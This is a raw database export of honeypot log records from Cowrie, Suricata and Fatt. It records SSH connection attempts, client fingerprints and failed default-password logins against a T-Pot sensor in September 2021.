30973	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:40:38.047106+03	2021-09-20 14:45:03.875142+03	{"_id": "mQYCA3wBvYTbRNuEDUCd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [catchall/123456] failed", "session": "1506f817f85b", "@version": "1", "password": "123456", "username": "catchall", "timestamp": "2021-09-20T11:40:38.047106Z", "@timestamp": "2021-09-20T11:40:38.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30974	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:40:39.336798+03	2021-09-20 14:45:03.876143+03	{"_id": "mgYCA3wBvYTbRNuEEUCF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1506f817f85b", "@version": "1", "duration": 2.8105032444000244, "timestamp": "2021-09-20T11:40:39.336798Z", "@timestamp": "2021-09-20T11:40:39.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30975	8.30.234.130	109.199.241.180	Fatt	2021-09-20 14:40:42.030847+03	2021-09-20 14:45:03.877142+03	{"_id": "nAYCA3wBvYTbRNuEHEAI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.72.81.4933534109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 63794, "dest_port": 22, "timestamp": "2021-09-20T11:40:42.030847", "@timestamp": "2021-09-20T11:40:42.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30976	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:41.847399+03	2021-09-20 14:45:03.879142+03	{"_id": "pQYCA3wBvYTbRNuEHUA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.72.81.4933534109.199.241.180'", "session": "67bab89bc2de", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.72.81.4933534109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:40:41.847399Z", "@timestamp": "2021-09-20T11:40:41.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30977	8.30.234.130	109.199.241.180	Suricata	2021-09-20 14:40:42.03095+03	2021-09-20 14:45:03.880142+03	{"_id": "pgYCA3wBvYTbRNuEHkDc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.72.81.4933534109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:40:41.655445+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 782718920622165, "payload": "AAAAVC4eAAAAIODA4wERv/3R1NHFgeDJypYxSd8Q0Y1eHGvgEkuKjrlc2iWBZA85WZNtIGAlpUh5+h5TN8P6LbG1BC8w0p8iouo89imVt5UIOy/Q84wi4g==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63794, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:40:42.030950Z", "@timestamp": "2021-09-20T11:40:42.030Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ................1I....^.k..K...\\\\.%.d.9Y.m `%.Hy..S7..-.../0..\\"..<.)....;/...\\"."}}	1	\N	\N	alert	\N	\N
30978	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:43.800043+03	2021-09-20 14:45:03.881142+03	{"_id": "qQYCA3wBvYTbRNuEJUAR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "67bab89bc2de", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:40:43.800043Z", "@timestamp": "2021-09-20T11:40:43.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30979	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:44.989857+03	2021-09-20 14:45:03.882142+03	{"_id": "qgYCA3wBvYTbRNuEKED5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "67bab89bc2de", "@version": "1", "duration": 3.142700433731079, "timestamp": "2021-09-20T11:40:44.989857Z", "@timestamp": "2021-09-20T11:40:44.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30980	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:40:36.810978+03	2021-09-20 14:45:03.884141+03	{"_id": "lAYCA3wBvYTbRNuEB0Bo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:40:36.242774+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 549549440808022, "payload": "AAADzAYUBAKwwyXQn1LXchcnC2Fp3wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59168, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:40:36.810978Z", "@timestamp": "2021-09-20T11:40:36.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........%..R.r.'.ai....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30981	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:36.527575+03	2021-09-20 14:45:03.885143+03	{"_id": "lQYCA3wBvYTbRNuECEB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59168, "timestamp": "2021-09-20T11:40:36.527575", "@timestamp": "2021-09-20T11:40:36.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30982	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:40:47.939484+03	2021-09-20 14:45:03.886143+03	{"_id": "tAYCA3wBvYTbRNuEM0B7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 52970, "dest_port": 22, "timestamp": "2021-09-20T11:40:47.939484", "@timestamp": "2021-09-20T11:40:47.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30983	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:40:47.763206+03	2021-09-20 14:45:03.888143+03	{"_id": "twYCA3wBvYTbRNuENECy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "6a5e68bbcefc", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:40:47.763206Z", "@timestamp": "2021-09-20T11:40:47.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30984	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:40:41.848422+03	2021-09-20 14:45:03.889142+03	{"_id": "nQYCA3wBvYTbRNuEHEAI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.30.234.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 63794, "timestamp": "2021-09-20T11:40:41.848422", "@timestamp": "2021-09-20T11:40:41.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30985	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:41.844446+03	2021-09-20 14:45:03.890142+03	{"_id": "ogYCA3wBvYTbRNuEHUA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.30.234.130:63794 (192.168.176.2:22) [session: 67bab89bc2de]", "session": "67bab89bc2de", "@version": "1", "protocol": "ssh", "src_port": 63794, "dest_port": 22, "timestamp": "2021-09-20T11:40:41.844446Z", "@timestamp": "2021-09-20T11:40:41.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30986	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:42.031665+03	2021-09-20 14:45:03.892142+03	{"_id": "owYCA3wBvYTbRNuEHUA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "67bab89bc2de", "@version": "1", "timestamp": "2021-09-20T11:40:42.031665Z", "@timestamp": "2021-09-20T11:40:42.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
30987	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:40:42.420365+03	2021-09-20 14:45:03.893142+03	{"_id": "pAYCA3wBvYTbRNuEHUA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "67bab89bc2de", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:40:42.420365Z", "@timestamp": "2021-09-20T11:40:42.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
